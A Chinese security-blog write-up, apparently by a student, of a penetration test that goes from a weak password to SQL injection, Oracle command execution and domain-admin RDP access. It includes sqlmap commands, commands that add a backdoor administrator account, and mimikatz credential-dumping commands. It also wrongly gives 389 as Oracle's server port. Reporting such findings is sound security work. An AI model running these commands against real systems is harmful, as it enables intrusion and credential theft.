freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【实战】一次从弱口令到getshell
2021-08-16 20:13:38

文章中涉及到的漏洞均已提交,渗透测试需规范!
这是个人认为近期比较有价值的一次渗透测试,分享给大家。

主要分为4个步骤:弱口令进入系统;后台sql注入;getshell,远程RDP管理员登录;扩大战果,证明危害。

0x01 弱口令

在一次针对某站点信息收集的过程中,通过子域名扫描,扫描到某个老旧系统。

1629098949_611a13c5e2023f68aa123.png!small?1629098952907

一看这都2014年的老站了,肯定有搞头!

日常使用burp爆破一波试试,没爆破出来

但是随手一试,好家伙123/123进入系统,属于是运气拉满了

(高强度打码)

1629099157_611a149547fda2b8e9964.png!small?1629099159494

这里能看到是一个“编辑”人员的权限,并没有什么上传等后台管理的功能,只能耐心过一遍系统的各种功能。

0x02 SQL注入

进入系统翻一翻,没有什么敏感信息泄露,但是在一处查询人员信息的接口发现了SQL注入(xray被动扫描扫出来的)

http://host.com/xxx/control/SearchMenHunInfo?content=123

这时想要手工验证一下,发现甚至不需要后台cookie就能直接访问该接口,相当于还存在未授权访问漏洞。

那这sqlmap一把梭,--cookie参数都不用加了

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --current-db

1629100685_611a1a8d4ca7c7edef78d.png!small?1629100687369

这里跑出了库名,还能看到这是一个Oracle数据库。打算继续拿shell试试。

但是在我日常渗透过程中,Oracle数据库并不常见,sqlmap中--os-shell参数还是不支持Oracle数据库的,只能现学现卖一波。

0x03 getshell

首先参考了这篇文章  Oracle注入 - 命令执行&Shell反弹

文章中介绍到以下版本的Oracle在发现注入后可以命令执行1629101572_611a1e0406da1334227dd.png!small?1629101573386

那么再用sqlmap查看一下Oracle版本

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" -b

1629101914_611a1f5a2cdcceb802e83.png!small?1629101915711

看来是符合可以命令执行的版本的!

又经历了一波漫长的学习,发现了github一个大佬已经集成好的工具 oracleShell oracle 数据库命令执行

工具截图如下

1629102386_611a2132b089bb783a905.png!small?1629102388399

可以看出,我们还需要知道数据库的SID,用户名,密码,就可以尝试执行命令。

那么就继续利用sqlmap来扩大我们已知信息。

查看数据库权限--is-dba

1629102568_611a21e8e65e1527c6a5a.png!small?1629102570531

查看数据库IP,SID

这里进入sqlmap的--sql-shell模式,用sql语句来查询

查询SID:select instance_name from v$instance

查询当前IP:select sys_context('userenv','ip_address') from dual

1629102806_611a22d69a7674a91543f.png!small?1629102808241

爆破所有数据库账号、密码

使用sqlmap的--passwords参数,跑出数据库的所用用户名和对应的密码

经过漫长的等待,终于有了结果(这里给出的是虚构的数据)

database management system users password hashes:
[*] ANONYMOUS [1]:
    password hash: anonymous
[*] HR [1]:
    password hash: 6399F3B38EDF3288
[*] SYS [1]:
    password hash: 4DE42795E66117AE
[*] SYSMAN [1]:
    password hash: B607EEBB3A2D36D0
[*] SYSTEM[1]:
    password hash: 8877FF8306EF558B
    clear-text password: SYS

可以看到有些用户名只得到了对应的哈希,但是其中一个用户名system成功跑出了明文密码!

查询Oracle常用端口

Oracle确实不熟悉,百度查一波端口:

查询发现,服务端默认的端口号一般是389,客户端默认的端口号一般都是1521

OK!现在已经拥有了IP,PORT,SID,用户名(SYSTEM),密码(SYS),可以直接使用工具连接了。

1629103630_611a260eddcad3e1ff238.png!small?1629103632329

一切顺利!取得了system权限!

0x04 进一步证明危害

创建个用户试试

net user name pwd /add

net localgroup Administrators name /add

远程桌面RDP连接 name/pwd

1629104189_611a283d93beace7f71e7.png!small?1629104197524

连接成功!

上传一个mimikatz,抓取管理员明文密码

privilege::debug

sekurlsa::logonPasswords

1629104190_611a283e48986590be6e9.png!small?1629104197526

最终成功登录Administrator账号RDP

1629104196_611a284403ee7334b6697.png!small?1629104197528

至此,渗透结束。

总结

弱口令->sql注入->getshell->拿下管理员权限

从一个常见的弱口令,到拿下管理员权限,这个过程需要运气和耐心,把这次经历拿出来分享一下。

在强调一下本次漏洞详情均已提交,渗透需规范!

大三信息安全专业学生的一篇文章,如有错误还请多多指教!(再不写文章就成大四了^^)

# 渗透测试 # web安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录